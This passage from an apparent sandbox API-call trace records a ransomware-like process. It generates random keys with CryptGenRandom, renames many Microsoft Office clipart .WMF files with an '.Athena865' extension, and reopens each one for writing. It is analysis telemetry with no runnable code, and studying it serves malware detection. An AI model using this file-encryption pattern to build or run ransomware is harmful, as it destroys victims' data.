| out: lpFileSize=0x241e418*=8232) returned 1 [0131.936] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.937] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.937] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.939] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.939] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.939] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.940] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01473_.WMF" | out: lpString1="NA01473_.WMF") returned="NA01473_.WMF" [0131.940] lstrlenW (lpString="NA01473_.WMF") returned 12 [0131.940] lstrlenW (lpString="Athena865") returned 9 [0131.940] lstrcmpiW (lpString1="1473_.WMF", lpString2="Athena865") returned -1 [0131.940] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.Athena865") returned 73 [0131.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.943] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10414) returned 1 [0131.943] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.944] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.944] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.979] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.979] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.979] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.980] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01474_.WMF" | out: lpString1="NA01474_.WMF") returned="NA01474_.WMF" [0131.980] lstrlenW (lpString="NA01474_.WMF") returned 12 [0131.980] lstrlenW (lpString="Athena865") returned 9 [0131.980] lstrcmpiW (lpString1="1474_.WMF", lpString2="Athena865") returned -1 [0131.980] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.Athena865") returned 73 [0131.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.981] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13468) returned 1 [0131.982] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.982] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.982] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.984] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.985] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.985] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.986] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01627_.WMF" | out: lpString1="NA01627_.WMF") returned="NA01627_.WMF" [0131.986] lstrlenW (lpString="NA01627_.WMF") returned 12 [0131.986] lstrlenW (lpString="Athena865") returned 9 [0131.986] lstrcmpiW (lpString1="1627_.WMF", lpString2="Athena865") returned -1 [0131.986] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.Athena865") returned 73 [0131.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.987] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3296) returned 1 [0131.987] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.988] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.988] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.990] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.991] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.991] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.992] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01680_.WMF" | out: lpString1="NA01680_.WMF") returned="NA01680_.WMF" [0131.992] lstrlenW (lpString="NA01680_.WMF") returned 12 [0131.992] lstrlenW (lpString="Athena865") returned 9 [0131.992] lstrcmpiW (lpString1="1680_.WMF", lpString2="Athena865") returned -1 [0131.992] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.Athena865") returned 73 [0131.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.993] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2974) returned 1 [0131.993] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.994] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.994] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.997] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.999] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.999] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.000] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01682_.WMF" | out: lpString1="NA01682_.WMF") returned="NA01682_.WMF" [0132.000] lstrlenW (lpString="NA01682_.WMF") returned 12 [0132.000] lstrlenW (lpString="Athena865") returned 9 [0132.000] lstrcmpiW (lpString1="1682_.WMF", lpString2="Athena865") returned -1 [0132.000] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.Athena865") returned 73 [0132.000] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.002] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3208) returned 1 [0132.002] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.002] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.002] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.004] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.005] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.005] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.006] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01701_.WMF" | out: lpString1="NA01701_.WMF") returned="NA01701_.WMF" [0132.006] lstrlenW (lpString="NA01701_.WMF") returned 12 [0132.006] lstrlenW (lpString="Athena865") returned 9 [0132.006] lstrcmpiW (lpString1="1701_.WMF", lpString2="Athena865") returned -1 [0132.006] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.Athena865") returned 73 [0132.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.008] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5316) returned 1 [0132.008] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.009] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.009] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.011] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.016] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.016] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.018] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01848_.WMF" | out: lpString1="NA01848_.WMF") returned="NA01848_.WMF" [0132.018] lstrlenW (lpString="NA01848_.WMF") returned 12 [0132.018] lstrlenW (lpString="Athena865") returned 9 [0132.018] lstrcmpiW (lpString1="1848_.WMF", lpString2="Athena865") returned -1 [0132.018] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.Athena865") returned 73 [0132.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.020] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1120) returned 1 [0132.020] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.020] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.020] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.022] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.023] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.023] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.024] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01849_.WMF" | out: lpString1="NA01849_.WMF") returned="NA01849_.WMF" [0132.024] lstrlenW (lpString="NA01849_.WMF") returned 12 [0132.024] lstrlenW (lpString="Athena865") returned 9 [0132.024] lstrcmpiW (lpString1="1849_.WMF", lpString2="Athena865") returned -1 [0132.024] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.Athena865") returned 73 [0132.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.029] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=624) returned 1 [0132.029] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.029] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.030] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.034] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.036] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.036] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.037] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01852_.WMF" | out: lpString1="NA01852_.WMF") returned="NA01852_.WMF" [0132.037] lstrlenW (lpString="NA01852_.WMF") returned 12 [0132.037] lstrlenW (lpString="Athena865") returned 9 [0132.037] lstrcmpiW (lpString1="1852_.WMF", lpString2="Athena865") returned -1 [0132.037] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.Athena865") returned 73 [0132.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.038] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4408) returned 1 [0132.038] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.039] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.039] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.041] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.041] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.042] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.044] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01858_.WMF" | out: lpString1="NA01858_.WMF") returned="NA01858_.WMF" [0132.044] lstrlenW (lpString="NA01858_.WMF") returned 12 [0132.044] lstrlenW (lpString="Athena865") returned 9 [0132.044] lstrcmpiW (lpString1="1858_.WMF", lpString2="Athena865") returned -1 [0132.044] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.Athena865") returned 73 [0132.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.045] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4296) returned 1 [0132.045] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.046] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.046] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.050] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.051] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.051] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.051] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA01866_.WMF" | out: lpString1="NA01866_.WMF") returned="NA01866_.WMF" [0132.051] lstrlenW (lpString="NA01866_.WMF") returned 12 [0132.051] lstrlenW (lpString="Athena865") returned 9 [0132.051] lstrcmpiW (lpString1="1866_.WMF", lpString2="Athena865") returned -1 [0132.052] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.Athena865") returned 73 [0132.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.053] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3512) returned 1 [0132.053] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.054] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.054] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.059] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.061] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.061] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.062] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02009_.WMF" | out: lpString1="NA02009_.WMF") returned="NA02009_.WMF" [0132.062] lstrlenW (lpString="NA02009_.WMF") returned 12 [0132.062] lstrlenW (lpString="Athena865") returned 9 [0132.062] lstrcmpiW (lpString1="2009_.WMF", lpString2="Athena865") returned -1 [0132.062] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.Athena865") returned 73 [0132.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.064] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10208) returned 1 [0132.064] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.064] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.064] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.067] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.068] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.068] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.068] 